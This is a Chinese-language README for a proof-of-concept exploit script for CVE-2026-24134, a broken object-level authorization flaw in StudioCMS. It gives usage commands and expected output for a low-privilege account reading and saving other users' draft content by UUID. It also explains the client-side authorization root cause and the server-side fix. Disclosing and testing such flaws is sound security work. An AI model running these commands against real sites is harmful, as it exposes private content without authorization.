本仓库包含 CVE-2026-24134 的概念验证(PoC),这是 StudioCMS 中的一个对象级授权失效(BOLA)漏洞。
cve_2026_24134_poc.py - Python 利用脚本pip install requests colorama
# 基本用法
python3 cve_2026_24134_poc.py \
-u http://localhost:4321 \
--username visitor_user \
--password visitor_pass \
--uuid bad87630-69a4-4cd6-bcb2-6965839dc148
# 将输出保存到文件
python3 cve_2026_24134_poc.py \
-u http://localhost:4321 \
--username visitor_user \
--password visitor_pass \
--uuid bad87630-69a4-4cd6-bcb2-6965839dc148 \
--save
python3 cve_2026_24134_poc.py \
-u http://localhost:4321 \
--auto-test \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--editor-user editor01 \
--editor-pass editorpass \
--uuid bad87630-69a4-4cd6-bcb2-6965839dc148
-u, --url - 目标 StudioCMS 基础 URL--uuid - 目标草稿内容 UUID--username - 用于身份验证的用户名--password - 用于身份验证的密码--auto-test - 启用自动化测试--visitor-user - 访客账户用户名--visitor-pass - 访客账户密码--editor-user - 编辑账户用户名--editor-pass - 编辑账户密码--save - 将响应内容保存到文件--no-ssl-verify - 禁用 SSL 证书验证python3 cve_2026_24134_poc.py \
--url http://target.com \
--auto-test \
--visitor-user test_visitor \
--visitor-pass SecurePass123! \
--editor-user test_editor \
--editor-pass SecurePass456! \
--uuid 12345678-1234-1234-1234-123456789abc
存在漏洞时的预期输出:
[+] Successfully authenticated as test_visitor
[*] Detected user role: Visitor
[+] Successfully accessed draft content!
[!] VULNERABILITY CONFIRMED!
已修复时的预期输出:
[+] Successfully authenticated as test_visitor
[*] Detected user role: Visitor
[*] Access denied (403 Forbidden)
[+] VULNERABILITY NOT PRESENT
python3 cve_2026_24134_poc.py \
--url http://localhost:4321 \
--username attacker \
--password pass123 \
--uuid target-uuid-here \
--save
这将把完整的草稿内容保存到 draft_{uuid}.html。
[+] - 操作成功(绿色)[*] - 信息性消息(蓝色)[!] - 警告(黄色)[-] - 错误(红色)如果您正在运行存在漏洞的 StudioCMS 版本,请立即更新到已修复的版本。
真正的问题: 授权检查是在客户端(JavaScript)执行的,而非服务端。
根据开发团队的说法:
"目前用于重定向的等级检查是在客户端 JS 中完成的,本应在不久之后被替换。"
修复方案: 将授权从客户端移至服务端。
关键原则: 永远不要信任客户端。客户端安全 = 用户体验增强。服务端安全 = 真正的保护。
重要提示: 本工具仅用于教育和授权的安全测试目的。
如有关于此 PoC 或漏洞的问题:
此 PoC 仅用于教育目的发布。请负责任且合乎道德地使用。